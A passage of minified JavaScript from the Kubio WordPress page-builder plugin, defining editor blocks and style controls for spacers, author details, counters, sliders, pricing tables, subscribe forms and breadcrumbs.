tsByName:{container:{wrapper:!0,default:!0},commentFormTitle:{selector:".comment-reply-title"},commentFormLabels:{selector:"label"},commentFormInputs:{selector:'input:not([type="submit"]),textarea'},commentFormButtonWrapper:{selector:".form-submit"},commentFormButton:{selector:'.comment-form [type="submit"]'},commentFormLinks:{selector:".comment-form a, .comment-respond a"},commentFormNotes:{selector:".comment-notes"}},template:{type:"element",props:{name:"container"}}}}},tP=Object(nn.extendBlockMeta)(eP,{title:Object(We.__)("Post Comments Form","kubio"),description:Object(We.__)("Customize your comments form fields, labels, buttons, links, background, and more.","kubio"),keywords:[Object(We.__)("comment","kubio")],icon:on.BlockIcons.PostCommentsForm,apiVersion:2,supports:{kubio:{elementsByName:Vw},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Jw,null),Object(xe.createElement)(Qw,null),Object(xe.createElement)(Zw,e))}}),oP="container",nP={[oP]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.RESPONSIVE],states:[cn.StatesEnum.NORMAL]}}};var aP=Object(He.withComputedData)()((()=>{const e={type:He.WithDataPathTypes.STYLE,style:oP};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Spacer Properties","kubio")},Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Height","kubio"),path:"height",max:300,min:1,capMin:!0},e))))}));const lP=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(aP,null)),rP=e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Container,null)},iP=Object(Me.compose)(Object(He.withColibriData)(),Object(He.withStyledElements)()),cP=iP(rP);iP(rP);const sP={name:"kubio/spacer",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{height:{value:50,unit:"px"}}}},props:{}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,className:"kubio-spacer"}},template:{type:"element",props:{name:"container"}}}}},uP=Object(nn.extendBlockMeta)(sP,{title:Object(We.__)("Spacer","kubio"),description:Object(We.__)("You can use the spacer block instead of margins and paddings, when you want to add space between content sections.","kubio"),keywords:[Object(We.__)("space","kubio")],icon:on.BlockIcons.Spacer,apiVersion:2,supports:{kubio:{elementsByName:nP},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(lP,null),Object(xe.createElement)(cP,e))}}),pP="outer",bP="image",mP={[bP]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TRANSITION],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.RESPONSIVE]:{isDisabled:!0},[cn.StylesEnum.MISC]:{isDisabled:!0}}}}},dP=Object(un.defaultAssetURL)("avatar-image-placeholder.png"),hP=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,l=e.getAttribute("avatarSize"),{url:r,url2x:i}=Object(Ve.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:r}=e(pt.store),i=r(null===(t=o("postType",n,a))||void 0===t?void 0:t.author),c=i?Object.values(null==i?void 0:i.avatar_urls):null,s=function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];if(c){const t=c[1].split("?s=");return l>0?t[0]+"?s="+(e?2*l:l)+t[1].slice(2)+(e?" 2x":""):null}return dP+(e?" 2x":"")};return{url:s,url2x:s(!0)}}),[l]);return{url:r,url2x:i}})),Object(He.withStyledElements)((e=>{let{computed:t}=e;return{[bP]:{src:null==t?void 0:t.url,srcSet:null==t?void 0:t.url2x}}}))),OP=hP((e=>{const{StyledElements:t}=e;return Object(xe.createElement)(t.Outer,null,Object(xe.createElement)(t.Image,null))}));var gP=Object(He.withComputedData)((()=>({defaultTextAlign:Object(tl.useInheritedTextAlign)()})))((e=>{let{computed:t}=e;const{defaultTextAlign:o}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Avatar Properties","kubio")},Object(xe.createElement)(Re.RangeWithPath,{label:Object(We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:He.WithDataPathTypes.ATTRIBUTE}),Object(xe.createElement)(Re.TooltipWrapper,{leftPosition:"55px",text:Object(We.__)("All user’s posts link will be added to Author Avatar","kubio")},Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Add link","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"addLink"})),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Horizontal align","kubio"),path:"textAlign",type:He.WithDataPathTypes.STYLE,style:pP,defaultValue:o}))}));const yP=e=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(gP,e));var jP=()=>{const e={type:He.WithDataPathTypes.STYLE,style:bP};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Avatar","kubio")},Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({label:Object(We.__)("Box shadow","kubio"),path:"boxShadow",showReset:!0},e)),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({label:Object(We.__)("Border","kubio"),path:"border"},e)))};const kP=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(jP,null));const EP={name:"kubio/post-author-avatar",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1},url:{type:"string"},avatarSize:{type:"string",default:"50"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",IMAGE:"image"},elementsByName:{outer:{wrapper:!0,props:{className:["author-avatar-block"]}},image:{default:!0,props:{tag:"img"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"image"}}]}]}}}},fP=Object(nn.extendBlockMeta)(EP,{title:Object(We.__)("Author Avatar","kubio"),keywords:[Object(We.__)("post author avatar","kubio"),Object(We.__)("world","kubio")],icon:on.BlockIcons.PostAuthorAvatar,apiVersion:2,supports:{kubio:{elementsByName:mP,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(yP,e),Object(xe.createElement)(kP,null),Object(xe.createElement)(OP,e))}}),vP="outer",_P="link",CP="text",IP={[CP]:{label:Object(We.__)("Author","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.TEXT_SHADOW,cn.StylesEnum.TRANSITION],states:["normal","hover"]}},[_P]:{internal:!0,supports:{states:["normal","hover"]}}},TP=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,{authorName:l,authorLink:r}=Object(Ve.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:l}=e(pt.store),r=l(null===(t=o("postType",n,a))||void 0===t?void 0:t.author);return{authorName:null==r?void 0:r.name,authorLink:null==r?void 0:r.link}}),[]);return{authorName:l,link:{typeOpenLink:"sameWindow",value:e.getAttribute("addLink")?r:""}}})),Object(He.withStyledElements)((()=>({[vP]:{},[_P]:{},[CP]:{}}))))((e=>{const{computed:t,StyledElements:o}=e,{authorName:n,link:a}=t;return Object(xe.createElement)(o.Outer,null,Object(xe.createElement)(Re.LinkWrapper,{link:a},Object(xe.createElement)(o.Text,{tag:"p"},n)))}));var SP=Object(He.withComputedData)((()=>({defaultTextAlign:Object(tl.useInheritedTextAlign)()})))((e=>{let{computed:t}=e;const{defaultTextAlign:o}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Author Name Properties","kubio")},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:o,type:He.WithDataPathTypes.STYLE,style:CP,skipJustify:!0}),Object(xe.createElement)(Re.TooltipWrapper,{leftPosition:"55px",text:Object(We.__)("All user’s posts link will be added to Author Name","kubio")},Object(xe.createElement)(Re.ToggleControlWithPath,{label:Object(We.__)("Add link","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"addLink"})))}));const wP=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(SP,null));var PP=Object(He.withComputedData)((e=>{const t=Object(tl.useInheritedTypographyValue)("p","color");return{addLink:e.getAttribute("addLink"),linkDefaultValue:e.getStyle("typography.color",t,{styledComponent:CP,state:"hover"}),defaultTypographyColor:t}}))((e=>{const{computed:t}=e,{addLink:o,linkDefaultValue:n,defaultTypographyColor:a}=t,l={type:He.WithDataPathTypes.STYLE,style:CP};return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Text","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",defaultValue:a},l)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},l)),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,Object(ut.a)({path:"textShadow"},l)),o&&Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Link hover color","kubio"),path:"typography.color",defaultValue:n,type:He.WithDataPathTypes.STYLE,style:_P,state:"hover"}))}));const AP=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(PP,null));const BP={name:"kubio/post-author-name",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{outer:{},link:{}}}},elementsEnum:{OUTER:"outer",LINK:"link",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"div",className:["author-name-block d-flex"]}},text:{default:!0,selector:".wp-block-kubio-post-author-name__text",props:{tag:"p"}},link:{selector:{normal:"a p.wp-block-kubio-post-author-name__text",hover:"a:hover p.wp-block-kubio-post-author-name__text"},props:{tag:"a"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"text"}}]}]}}}},NP=Object(nn.extendBlockMeta)(BP,{title:Object(We.__)("Author Name","kubio"),keywords:[Object(We.__)("post author name","kubio"),Object(We.__)("world","kubio")],icon:on.BlockIcons.PostAuthorName,apiVersion:2,supports:{kubio:{elementsByName:IP,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(wP,null),Object(xe.createElement)(AP,null),Object(xe.createElement)(TP,e))}}),xP="text",RP={[xP]:{label:Object(We.__)("Author bio","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY,cn.StylesEnum.TEXT_SHADOW],states:cn.StatesPresetsEnum.BASIC}}},DP={authorBio:Object(We.__)("No Biographical Info for this user","kubio")},LP=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{const{context:o}=t,{postType:n,postId:a}=o,{authorBio:l}=Object(Ve.useSelect)((e=>{var t;const{getEditedEntityRecord:o,getUser:l}=e(pt.store),r=l(null===(t=o("postType",n,a))||void 0===t?void 0:t.author);return{authorBio:null==r?void 0:r.description}}),[]);return{authorBio:l}})),Object(He.withStyledElements)((()=>({[xP]:{}}))))((e=>{const{computed:t,StyledElements:o}=e,{authorBio:n}=t;return Object(xe.createElement)(o.Text,{tag:"p"},n||DP.authorBio)}));var MP=Object(He.withComputedData)((e=>({dataHelper:e,defaultTextAlign:Object(tl.useInheritedTextAlign)()})))((e=>{let{computed:t}=e;const{defaultTextAlign:o}=t;return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Author Bio Properties","kubio")},Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,defaultValue:o,type:He.WithDataPathTypes.STYLE,style:xP}))}));const WP=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(MP,null));var HP=()=>{const e={type:He.WithDataPathTypes.STYLE,style:xP},t=Object(tl.useInheritedTypographyValue)("p","color");return Object(xe.createElement)(Re.KubioPanelBody,{title:Object(We.__)("Text","kubio")},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",defaultValue:t},e)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},e)),Object(xe.createElement)(Re.TextShadowControlPopupWithPath,Object(ut.a)({path:"textShadow"},e)))};const GP=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(HP,null));const UP={name:"kubio/post-author-bio",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{}}},elementsEnum:{TEXT:"text"},elementsByName:{text:{default:!0,wrapper:!0,selector:"&.wp-block.wp-block-kubio-post-author-bio",props:{tag:"p"}}},template:{type:"element",props:{name:"text",shouldRender:"computed.showAuthorBio"}}}}},FP=Object(nn.extendBlockMeta)(UP,{title:Object(We.__)("Author Bio","kubio"),keywords:[Object(We.__)("post author bio","kubio"),Object(We.__)("world","kubio")],icon:on.BlockIcons.PostAuthorBio,apiVersion:2,supports:{kubio:{elementsByName:RP,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(WP,null),Object(xe.createElement)(GP,null),Object(xe.createElement)(LP,e))}}),zP=Object(We.__)("Create visually appealing image collages using frames, overlays, shadows, borders, and other styling options.","kubio"),VP={name:"kubio/multipleimages",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{inside:{padding:{top:{value:50,unit:"%"}}}}}},elementsEnum:{OUTER:"outer",INSIDE:"inside",RATIO_INNER:"ratioInner",IMAGES:"images"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-multiple-image"]}},inside:{props:{className:["h-multiple-image-inside-container"]}},ratioInner:{props:{className:["ratio-inner"]}},images:{selector:"img"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inside"},children:[{type:"element",props:{name:"ratioInner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},YP=Object(nn.extendBlockMeta)(VP,{title:Object(We.__)("Image Collage","kubio"),icon:on.BlockIcons.ImageCollage,apiVersion:2,isPro:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:zP}:e}),$P={name:"kubio/flipbox",title:"Flip Box",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{hover:{animation:{duration:{value:1e3,unit:"ms"}}},normal:{animation:{duration:{value:1e3,unit:"ms"}}}}},props:{layout:{normal:{vSpace:{unit:"px",value:20}},hover:{vSpace:{unit:"px",value:20}}},hover:{effect:{type:"fadeIn",direction:""}}}},elementsEnum:{CONTAINER:"container",INNER:"inner",NORMAL:"normal",HOVER:"hover"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["d-flex","flipbox","d-flipbox-container"]}},inner:{props:{className:["d-flex","w-100","position-relative","border-radius-inherit","animation-overflow"]}},normal:{selector:".h-flipbox-content-container"},hover:{selector:" .h-flipbox-hover-container"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},KP=Object(nn.extendBlockMeta)($P,{title:Object(We.__)("Flip Box","kubio"),icon:on.BlockIcons.FlipBox,apiVersion:2,isPro:!0}),qP={name:"kubio/counter",category:"kubio-components",attributes:{kubio:{type:"object"},title:{type:"string",default:"Years"},start:{type:"number",default:0},final:{type:"number",default:100},amount:{type:"number",default:1e3},progress:{type:"object",default:{value:50,unit:"px"}},prefix:{type:"string",default:""},suffix:{type:"string",default:""},separator:{type:"string",default:"comma"},iconName:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!1,default:{style:{descendants:{"progress-bar-number-wrapper":{justifyContent:"center"},title:{justifyContent:"center"},"counter-wrapper":{justifyContent:"center"},progressBarNumber:{justifyContent:"center"},icon:{width:{value:12,unit:"px"},height:{value:12,unit:"px"},margin:{right:{value:10,unit:"px"}}}}},props:{counterPosition:"same",titlePosition:"above",icon:{enabled:!1,position:"before"},counterType:"number",decimals:"todo",width:{value:200,unit:"px"},height:{value:10,unit:"px"},animationDuration:{value:2,unit:"px"},colorIn:"rgba(var(--kubio-color-2),1)",colorOut:"rgba(var(--kubio-color-1),1)",counterEmptyColor:"#ccc",titleAlign:"center"}},elementsEnum:{EDITOR_WRAPPER:"editorWrapper",OUTER:"outer",COUNTER:"counter",COUNTER_CONTAINER:"counterContainer",SIMPLE_COUNTER:"simpleCounter",COUNTERWRAPPER:"counter-wrapper",ICON:"icon",TITLE:"title",SIMPLE_TITLE:"simpleTitle",CIRCLE_TITLE:"circleTitle",BAR_TITLE:"barTitle",CIRCLE_COUNTER_WRAPPER:"circleCounterWrapper",TITLE_COUNTER_BAR:"titleCounterBar",PROGRESS_BAR:"progressBar",PROGRESS_BAR_CONTAINER:"progressBarContainer",PROGRESS_BAR_NUMBER:"progressBarNumber",PROGRESS_BAR_WRAPPER:"progressBarWrapper"},elementsByName:{editorWrapper:{wrapper:!0},outer:{default:!0,props:{className:"kubio-counter__outer"}},"counter-wrapper":{props:{className:["d-flex","align-items-center"]}},counter:{},counterContainer:{},icon:{props:{tag:"icon"}},title:{props:{className:["d-flex"]}},simpleCounter:{selector:".simple-counter"},circleCounter:{selector:".circle-counter"},barCounter:{selector:".bar-counter"},simpleTitle:{selector:".title-number"},circleTitle:{selector:".title-circle"},barTitle:{selector:".title-bar"},circleCounterWrapper:{props:{className:["h-circle-progress"]}},progressBarWrapper:{},titleCounterBar:{props:{className:["title-counter-bar","d-flex"]}},progressBar:{props:{className:["h-bar-progress"]}},progressBarContainer:{props:{className:["progress"]}},progressBarNumber:{props:{className:["progress-number"]}}},template:{type:"element",props:{name:"editorWrapper"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"counterContainer",shouldRender:"computed.showNumber"},children:[{type:"element",props:{name:"title",className:["title-number"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["simple-counter"]}}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showCircle"},children:[{type:"element",props:{name:"circleCounterWrapper"},children:[{type:"element",props:{name:"title",className:["title-circle"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["circle-counter"]}}]}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showBar"},children:[{type:"element",props:{name:"titleCounterBar"},children:[{type:"element",props:{name:"title",className:["title-bar"]}},{type:"element",props:{name:"counter",className:["bar-counter"],shouldRender:"computed.showCounterWithTitle"}}]},{type:"element",props:{name:"progressBarWrapper"},children:[{type:"element",props:{name:"progressBarContainer"},children:[{type:"element",props:{name:"progressBar"}}]},{type:"element",props:{name:"progressBarNumber",shouldRender:"computed.showCounterInside"},children:[{type:"element",props:{name:"counter",className:["bar-counter"]}}]}]}]}]}]}}}},XP=Object(nn.extendBlockMeta)(qP,{title:Object(We.__)("Counter","kubio"),icon:on.BlockIcons.Counter,apiVersion:2,isPro:!0}),QP={name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},ZP=Object(nn.extendBlockMeta)(QP,{title:Object(We.__)("Slider","kubio"),icon:on.BlockIcons.Slider,keywords:[],apiVersion:2,isPro:!0}),JP={name:"kubio/carousel",category:"kubio-components",supports:{kubio:{default:{props:{layout:{horizontalGap:2,verticalGap:3,horizontalInnerGap:2,verticalInnerGap:2}}}}}},eA=Ne.a.merge({},{name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},JP),tA=Object(nn.extendBlockMeta)(eA,{title:Object(We.__)("Carousel","kubio"),icon:on.BlockIcons.Carousel,isPro:!0,keywords:[],apiVersion:2}),oA={name:"kubio/pricing",category:"kubio-components",attributes:{kubio:{type:"object"},currentSymbol:{type:"string",default:"dollar"},customSymbol:{type:"string",default:""},currentPrice:{type:"string",default:"89.99"},currencyFormat:{type:"string",default:"formatOne"},sale:{type:"boolean",default:!0},originalPrice:{type:"string",default:"99.99"},preserveSpace:{type:"object",default:{current:!1,original:!1}}},supports:{kubio:{appearanceEffect:!0,default:{props:{verticalAlign:{current:{decimal:"start",symbol:"center"},original:{price:"center",decimal:"start",symbol:"center"}}},style:{descendants:{container:{justifyContent:"center"},currentPrice:{typography:{size:{value:50}}},currentSymbol:{typography:{size:{value:50}}},currentDecimal:{typography:{size:{value:30}}},originalPrice:{typography:{size:{value:30}}},originalPriceSymbol:{typography:{size:{value:30}}},originalPriceDecimal:{typography:{size:{value:15}}}}}},elementsEnum:{CONTAINER:"container",CURRENT_PRICE:"currentPrice",CURRENT_DECIMAL:"currentDecimal",CURRENT_SYMBOL:"currentSymbol",ORIGINAL_PRICE_INNER:"originalPriceInner",ORIGINAL_PRICE:"originalPrice",ORIGINAL_PRICE_DECIMAL:"originalPriceDecimal",ORIGINAL_PRICE_SYMBOL:"originalPriceSymbol"},elementsByName:{container:{wrapper:!0,default:!0},currentPrice:{props:{className:["d-flex"]}},currentDecimal:{props:{className:["align-self-start"]}},currentSymbol:{},originalPrice:{},originalPriceInner:{},originalPriceDecimal:{},originalPriceSymbol:{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"originalPrice",shouldRender:"computed.sale"},children:[{type:"element",props:{name:"originalPriceSymbol"}},{type:"element",props:{name:"originalPriceInner"}},{type:"element",props:{name:"originalPriceDecimal"}}]},{type:"element",props:{name:"currentSymbol"}},{type:"element",props:{name:"currentPrice"}},{type:"element",props:{name:"currentDecimal"}}]}}}},nA=Object(nn.extendBlockMeta)(oA,{title:Object(We.__)("Pricing","kubio"),icon:on.BlockIcons.Price,apiVersion:2,isPro:!0}),aA={name:"kubio/pricing-table",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{fullBackground:!0,layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:3}}},elementsEnum:{RIBBON_TEXT:"ribbon-text",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{"ribbon-wrapper":{props:{className:["ribbon-wrapper"]}}}}}},lA=Object(nn.extendBlockMeta)(aA,{title:Object(We.__)("Pricing table","kubio"),icon:on.BlockIcons.PricingTable,apiVersion:2,isPro:!0}),rA={name:"kubio/subscribe-form",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeLayout:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{form:{email:{label:"",widthType:"Custom",placeholder:"Your email address"},submitButton:{position:"inline",size:"small",width:"fitToContent",label:"Subscribe",align:"flex-start",icon:{enabled:!1,name:""}},agreeTerms:{enabled:!1,label:"I have read and agree to the terms & conditions"}},spacingBackup:{}},style:{descendants:{formItems:{margin:{bottom:{unit:"px",value:10}}},submitButtonGroup:{justifyContent:"flex-start"},agreeTermsGroup:{margin:{bottom:{unit:"px",value:10}}},emailField:{width:{unit:"px",value:300},padding:{top:{value:"14",unit:"px"},right:{value:"15",unit:"px"},bottom:{value:"14",unit:"px"},left:{value:"15",unit:"px"}},margin:{top:{value:0,unit:"px"},right:{value:0,unit:"px"},bottom:{value:10,unit:"px"},left:{value:0,unit:"px"}}},submitButton:{border:{}}}}},elementsEnum:{CONTAINER:"container",FORM_WRAPPER:"formWrapper",EMAIL_FIELD:"emailField",EMAIL_GROUP:"emailGroup",EMAIL_LABEL:"emailLabel",SUBMIT_BUTTON:"submitButton",SUBMIT_BUTTON_ICON_CONTAINER:"submitButtonIconContainer",SUBMIT_BUTTON_GROUP:"submitButtonGroup",SUCCESS_MESSAGE:"successMessage",ERROR_MESSAGE:"errorMessage",FORM_ITEMS:"formItems",AGREE_TERMS_GROUP:"agreeTermsGroup",PLACEHOLDER:"placeholder"},elementsByName:{container:{default:!0,props:{className:["h-newsletter"]}},formWrapper:{wrapper:!0},emailGroup:{selector:".kubio-newsletter__email-group"},emailField:{selector:'input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},emailLabel:{selector:"label"},submitButtonGroup:{selector:".kubio-newsletter__submit-group"},submitButton:{selector:'[type="submit"]'},submitButtonIconContainer:{selector:".kubio-newsletter__submit-group button[type='submit'] .h-svg-icon"},agreeTermsGroup:{selector:".kubio-newsletter__agree-terms-group"},successMessage:{selector:".mc4wp-response .mc4wp-success p"},errorMessage:{selector:".mc4wp-response .mc4wp-error p"},formItems:{selector:".mc4wp-form-fields > p"}},template:{type:"element",props:{name:"formWrapper"},children:[{type:"element",props:{name:"container",shouldRender:"computed.renderContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},iA=Object(nn.extendBlockMeta)(rA,{title:Object(We.__)("Subscribe Form","kubio"),icon:on.BlockIcons.Subscribe,keywords:[Object(We.__)("newsletter","kubio")],apiVersion:2,isPro:!0}),cA={name:"kubio/breadcrumb",category:"kubio-components",attributes:{kubio:{type:"object"},separatorSymbol:{type:"string",default:"/"},prefix:{type:"string",default:"You are here:"},usePrefix:{type:"boolean",default:!0},isEditor:{type:"boolean",default:!1},home:{type:"object",default:{isIcon:!0,iconName:"font-awesome/home",label:"Home"}},postId:{type:"number"},postType:{type:"string"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{homeIcon:{size:{unit:"px",value:15}},prefix:{margin:{right:{value:15,unit:"px"}}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",ITEMLINK:"itemLink",ITEM:"item",ACTIVEITEM:"activeItem",SEPARATOR:"separator",PREFIX:"prefix",HOMEICON:"homeIcon"},elementsByName:{outer:{default:!0,wrapper:!0},wrapper:{selector:".breadcrumb-items__wrapper"},item:{selector:{normal:".breadcrumb-item a, .breadcrumb-item span",hover:".breadcrumb-item a:hover, .breadcrumb-item span:hover",active:".breadcrumb-item.current span"}},activeItem:{selector:".breadcrumb-item.current span"},prefix:{selector:".breadcrumb-items__prefix"},separator:{selector:"li.breadcrumb-item:before"},homeIcon:{selector:".breadcrumb-item svg"}},template:{type:"element",props:{name:"outer"}}}}},sA=Object(nn.extendBlockMeta)(cA,{title:Object(We.__)("Breadcrumb","kubio"),keywords:[Object(We.__)("breadcrumb","kubio"),Object(We.__)("path","kubio")],icon:on.BlockIcons.Breadcrumb,apiVersion:2,isPro:!0}),uA={MultipleImages:fe,FlipBox:ve,Counter:_e,Slider:Ce,Carousel:Ie,Pricing:Te,PricingTable:Se,SubscribeForm:we,Breadcrumb:Pe};let pA={};window.isKubioBlockEditor&&(pA=uA);let 